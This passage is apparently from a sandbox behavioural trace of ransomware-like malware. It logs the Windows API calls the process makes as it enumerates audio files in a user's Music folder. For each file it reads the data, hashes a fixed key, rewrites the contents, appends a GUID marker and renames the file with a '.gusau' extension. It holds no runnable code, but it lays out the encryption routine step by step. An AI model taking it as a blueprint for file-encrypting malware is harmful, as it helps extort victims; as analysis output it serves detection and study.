pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.540] GetLastError () returned 0x0 [0117.540] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.541] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.541] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.541] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1480) returned 0x39f9f20 [0117.541] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.541] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.541] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x147c, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x147c, lpOverlapped=0x0) returned 1 [0117.541] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.541] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1481, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.541] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.541] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.541] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.541] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.541] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.541] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.541] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.541] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.541] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.541] CloseHandle (hObject=0x610) returned 1 [0117.542] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0117.542] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5430 [0117.542] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0117.542] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\POR XU-fcmkfoFYhwpS_.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\por xu-fcmkfofyhwps_.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\POR XU-fcmkfoFYhwpS_.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\por xu-fcmkfofyhwps_.mp3.gusau")) returned 1 [0117.543] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.543] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.544] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0117.544] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbba09280, ftCreationTime.dwHighDateTime=0x1d4ce82, ftLastAccessTime.dwLowDateTime=0xeaff33b0, ftLastAccessTime.dwHighDateTime=0x1d4ca68, ftLastWriteTime.dwLowDateTime=0xeaff33b0, ftLastWriteTime.dwHighDateTime=0x1d4ca68, nFileSizeHigh=0x0, nFileSizeLow=0x15524, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ptcryHpXY3gBNb.m4a", cAlternateFileName="PTCRYH~1.M4A")) returned 1 [0117.544] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.544] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.544] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.544] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ptcryHpXY3gBNb.m4a") returned=".m4a" [0117.544] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ptcryHpXY3gBNb.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ptcryhpxy3gbnb.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.545] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=87332) returned 1 [0117.545] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.547] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x154fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.547] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.548] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.548] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.548] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.548] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x15524, lpOverlapped=0x0) returned 1 [0117.549] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.549] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.549] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.549] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.549] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.550] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.550] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.550] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.550] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.550] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.550] GetLastError () returned 0x0 [0117.550] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.550] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.550] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.550] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x15520) returned 0x39f9f20 [0117.551] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.551] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.551] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x1551f, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x1551f, lpOverlapped=0x0) returned 1 [0117.551] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.551] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x15524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.551] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.551] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.551] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.552] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.552] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.552] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.552] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.552] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.552] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.552] CloseHandle (hObject=0x610) returned 1 [0117.553] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.553] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.553] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.553] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ptcryHpXY3gBNb.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ptcryhpxy3gbnb.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ptcryHpXY3gBNb.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ptcryhpxy3gbnb.m4a.gusau")) returned 1 [0117.553] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.553] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.554] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.554] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x952903c0, ftCreationTime.dwHighDateTime=0x1d4c6f4, ftLastAccessTime.dwLowDateTime=0xd1d9ca20, ftLastAccessTime.dwHighDateTime=0x1d4c87f, ftLastWriteTime.dwLowDateTime=0xd1d9ca20, ftLastWriteTime.dwHighDateTime=0x1d4c87f, nFileSizeHigh=0x0, nFileSizeLow=0x1191d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qpbO.wav", cAlternateFileName="")) returned 1 [0117.554] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.554] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.555] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.555] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\qpbO.wav") returned=".wav" [0117.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\qpbO.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\qpbo.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.555] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=71965) returned 1 [0117.555] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.557] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x118f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.557] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.559] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.559] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.559] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.559] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x1191d, lpOverlapped=0x0) returned 1 [0117.560] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.560] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.560] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.560] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.560] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.561] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.561] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.561] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.561] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.561] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.561] GetLastError () returned 0x0 [0117.561] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.561] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.561] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.562] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1191d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.562] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.562] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.562] CloseHandle (hObject=0x610) returned 1 [0117.563] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\qpbO.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\qpbo.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\qpbO.wav.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\qpbo.wav.gusau")) returned 1 [0117.564] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d9d31d0, ftCreationTime.dwHighDateTime=0x1d4cdb0, ftLastAccessTime.dwLowDateTime=0xe7a65cc0, ftLastAccessTime.dwHighDateTime=0x1d4c62b, ftLastWriteTime.dwLowDateTime=0xe7a65cc0, ftLastWriteTime.dwHighDateTime=0x1d4c62b, nFileSizeHigh=0x0, nFileSizeLow=0x1464c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S4IWsPZvnadFRmzK.mp3", cAlternateFileName="S4IWSP~1.MP3")) returned 1 [0117.564] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\S4IWsPZvnadFRmzK.mp3") returned=".mp3" [0117.564] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\S4IWsPZvnadFRmzK.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\s4iwspzvnadfrmzk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.565] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=83532) returned 1 [0117.565] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.567] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x14626, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.567] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.568] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x1464c, lpOverlapped=0x0) returned 1 [0117.569] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.569] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.569] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.569] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.570] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.570] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.570] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.570] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.570] GetLastError () returned 0x0 [0117.570] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.570] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.571] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1464c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.571] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.571] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.571] CloseHandle (hObject=0x610) returned 1 [0117.572] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\S4IWsPZvnadFRmzK.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\s4iwspzvnadfrmzk.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\S4IWsPZvnadFRmzK.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\s4iwspzvnadfrmzk.mp3.gusau")) returned 1 [0117.574] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb028c20, ftCreationTime.dwHighDateTime=0x1d4c7a3, ftLastAccessTime.dwLowDateTime=0x6db21720, ftLastAccessTime.dwHighDateTime=0x1d4d543, ftLastWriteTime.dwLowDateTime=0x6db21720, ftLastWriteTime.dwHighDateTime=0x1d4d543, nFileSizeHigh=0x0, nFileSizeLow=0x13681, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SIP IIj4TyP2E.mp3", cAlternateFileName="SIPIIJ~1.MP3")) returned 1 [0117.574] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SIP IIj4TyP2E.mp3") returned=".mp3" [0117.574] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SIP IIj4TyP2E.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\sip iij4typ2e.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.574] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=79489) returned 1 [0117.574] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.577] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1365b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.577] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.578] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x13681, lpOverlapped=0x0) returned 1 [0117.579] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.579] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.579] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.579] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.580] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.580] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.580] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.580] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.580] GetLastError () returned 0x0 [0117.580] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.580] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.581] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x13681, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.581] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.581] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.581] CloseHandle (hObject=0x610) returned 1 [0117.582] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SIP IIj4TyP2E.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\sip iij4typ2e.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SIP IIj4TyP2E.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\sip iij4typ2e.mp3.gusau")) returned 1 [0117.583] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7e1c60, ftCreationTime.dwHighDateTime=0x1d4d411, ftLastAccessTime.dwLowDateTime=0xee1d1960, ftLastAccessTime.dwHighDateTime=0x1d4d588, ftLastWriteTime.dwLowDateTime=0xee1d1960, ftLastWriteTime.dwHighDateTime=0x1d4d588, nFileSizeHigh=0x0, nFileSizeLow=0x11fe8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SOIg.mp3", cAlternateFileName="")) returned 1 [0117.583] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SOIg.mp3") returned=".mp3" [0117.583] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SOIg.mp3" (normalized: "c:\\users\\5p5nrgjn0js 